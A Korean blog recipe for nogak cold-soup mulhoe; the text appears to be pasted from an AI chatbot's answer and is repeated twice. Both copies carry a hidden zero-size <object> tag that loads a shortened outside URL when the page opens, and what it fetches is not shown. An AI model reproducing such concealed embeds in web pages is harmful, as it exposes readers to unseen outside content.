노각냉국 물회 레시피

<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4"></object> <div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:30">시원하고 매콤한 여름 별미, 노각냉국 물회 레시피</h2>노각의 아삭한 식감과 매콤새콤한 양념이 어우러져 더위를 날려버릴 시원한 노각냉국 물회 레시피를 알려드릴게요. 물회 특유의 시원함과 노각의 청량감이 더해져 입맛 없는 여름철에도 즐겁게 식사할 수 있답니다.<h3 data-sourcepos="5:1-5:9">재료 준비</h3><ul data-sourcepos="7:1-11:0"> <li data-sourcepos="7:1-7:44">주재료: 노각 1개, 회 (우럭, 광어 등) 200g, 소면 100g</li> <li data-sourcepos="8:1-8:82">양념: 고춧가루 3큰술, 식초 4큰술, 설탕 2큰술, 간장 2큰술, 다진 마늘 1큰술, 생강즙 1/2작은술, 참기름 1큰술, 통깨 1큰술</li> <li data-sourcepos="9:1-9:44">채소: 오이 1/2개, 양파 1/4개, 청양고추 1개, 쪽파 3~4개</li> <li data-sourcepos="10:1-11:0">기타: 얼음, 물</li> </ul><h3 data-sourcepos="12:1-12:9">만드는 법</h3><ol data-sourcepos="14:1-21:0"> <li data-sourcepos="14:1-14:68">노각 손질: 노각을 반으로 갈라 씨를 제거하고 얇게 채 썰어 소금에 살짝 절인 후 물에 헹궈 물기를 짜줍니다.</li> <li data-sourcepos="15:1-15:32">회 손질: 회를 먹기 좋은 크기로 썰어줍니다.</li> <li data-sourcepos="16:1-16:43">채소 손질: 오이, 양파, 청양고추, 쪽파를 채 썰어 준비합니다.</li> <li data-sourcepos="17:1-17:75">양념 만들기: 볼에 고춧가루, 식초, 설탕, 간장, 다진 마늘, 생강즙, 참기름, 통깨를 넣고 잘 섞어 양념장을 만듭니다.</li> <li data-sourcepos="18:1-18:46">소면 삶기: 소면을 끓는 물에 넣고 삶아 찬물에 헹궈 물기를 빼줍니다.</li> <li data-sourcepos="19:1-19:56">모든 재료 버무리기: 큰 볼에 노각, 회, 채소, 소면을 담고 양념장을 넣어 버무립니다.</li> <li data-sourcepos="20:1-21:0">마무리: 얼음을 넣고 시원하게 즐기면 완성입니다.</li> </ol><h3 data-sourcepos="22:1-22:5">팁</h3><ul data-sourcepos="24:1-28:0"> <li data-sourcepos="24:1-24:41">회 종류: 취향에 따라 다양한 종류의 회를 사용할 수 있습니다.</li> <li data-sourcepos="25:1-25:44">매운맛 조절: 청양고추의 양을 조절하여 매운맛을 조절할 수 있습니다.</li> <li data-sourcepos="26:1-26:44">육수: 멸치 다시마 육수를 사용하면 더욱 깊은 맛을 낼 수 있습니다.</li> <li data-sourcepos="27:1-28:0">면 종류: 소면 외에도 잔치국수, 비빔국수 등 다양한 면을 사용할 수 있습니다.</li> </ul>노각냉국 물회는 시원하고 매콤한 맛으로 더위를 식히기에 제격입니다. 집에서 간단하게 만들어 가족과 함께 즐겨보세요![참고] 위 레시피는 기본적인 레시피이며, 개인의 취향에 따라 재료와 양념을 가감하여 자신만의 특별한 노각냉국 물회를 만들어 보세요.더 궁금한 점이 있다면 언제든지 물어보세요!추가적으로, 노각냉국 물회와 함께 어울리는 음식이나 음료를 추천해 드릴 수 있습니다.<ul data-sourcepos="37:1-39:0"> <li data-sourcepos="37:1-37:40">어울리는 음식: 새콤달콤한 김치, 짭짤한 젓갈, 시원한 동치미</li> <li data-sourcepos="38:1-39:0">어울리는 음료: 맥주, 소주, 사이다</li> </ul>어떤 음식과 함께 드시고 싶으신가요?</div> "><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object> <div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:30">시원하고 매콤한 여름 별미, 노각냉국 물회 레시피</h2>노각의 아삭한 식감과 매콤새콤한 양념이 어우러져 더위를 날려버릴 시원한 노각냉국 물회 레시피를 알려드릴게요. 물회 특유의 시원함과 노각의 청량감이 더해져 입맛 없는 여름철에도 즐겁게 식사할 수 있답니다.<h3 data-sourcepos="5:1-5:9">재료 준비</h3><ul data-sourcepos="7:1-11:0"> <li data-sourcepos="7:1-7:44">주재료: 노각 1개, 회 (우럭, 광어 등) 200g, 소면 100g</li> <li data-sourcepos="8:1-8:82">양념: 고춧가루 3큰술, 식초 4큰술, 설탕 2큰술, 간장 2큰술, 다진 마늘 1큰술, 생강즙 1/2작은술, 참기름 1큰술, 통깨 1큰술</li> <li data-sourcepos="9:1-9:44">채소: 오이 1/2개, 양파 1/4개, 청양고추 1개, 쪽파 3~4개</li> <li data-sourcepos="10:1-11:0">기타: 얼음, 물</li> </ul><h3 data-sourcepos="12:1-12:9">만드는 법</h3><ol data-sourcepos="14:1-21:0"> <li data-sourcepos="14:1-14:68">노각 손질: 노각을 반으로 갈라 씨를 제거하고 얇게 채 썰어 소금에 살짝 절인 후 물에 헹궈 물기를 짜줍니다.</li> <li data-sourcepos="15:1-15:32">회 손질: 회를 먹기 좋은 크기로 썰어줍니다.</li> <li data-sourcepos="16:1-16:43">채소 손질: 오이, 양파, 청양고추, 쪽파를 채 썰어 준비합니다.</li> <li data-sourcepos="17:1-17:75">양념 만들기: 볼에 고춧가루, 식초, 설탕, 간장, 다진 마늘, 생강즙, 참기름, 통깨를 넣고 잘 섞어 양념장을 만듭니다.</li> <li data-sourcepos="18:1-18:46">소면 삶기: 소면을 끓는 물에 넣고 삶아 찬물에 헹궈 물기를 빼줍니다.</li> <li data-sourcepos="19:1-19:56">모든 재료 버무리기: 큰 볼에 노각, 회, 채소, 소면을 담고 양념장을 넣어 버무립니다.</li> <li data-sourcepos="20:1-21:0">마무리: 얼음을 넣고 시원하게 즐기면 완성입니다.</li> </ol><h3 data-sourcepos="22:1-22:5">팁</h3><ul data-sourcepos="24:1-28:0"> <li data-sourcepos="24:1-24:41">회 종류: 취향에 따라 다양한 종류의 회를 사용할 수 있습니다.</li> <li data-sourcepos="25:1-25:44">매운맛 조절: 청양고추의 양을 조절하여 매운맛을 조절할 수 있습니다.</li> <li data-sourcepos="26:1-26:44">육수: 멸치 다시마 육수를 사용하면 더욱 깊은 맛을 낼 수 있습니다.</li> <li data-sourcepos="27:1-28:0">면 종류: 소면 외에도 잔치국수, 비빔국수 등 다양한 면을 사용할 수 있습니다.</li> </ul>노각냉국 물회는 시원하고 매콤한 맛으로 더위를 식히기에 제격입니다. 집에서 간단하게 만들어 가족과 함께 즐겨보세요![참고] 위 레시피는 기본적인 레시피이며, 개인의 취향에 따라 재료와 양념을 가감하여 자신만의 특별한 노각냉국 물회를 만들어 보세요.더 궁금한 점이 있다면 언제든지 물어보세요!추가적으로, 노각냉국 물회와 함께 어울리는 음식이나 음료를 추천해 드릴 수 있습니다.<ul data-sourcepos="37:1-39:0"> <li data-sourcepos="37:1-37:40">어울리는 음식: 새콤달콤한 김치, 짭짤한 젓갈, 시원한 동치미</li> <li data-sourcepos="38:1-39:0">어울리는 음료: 맥주, 소주, 사이다</li> </ul>어떤 음식과 함께 드시고 싶으신가요?</div> </div></div>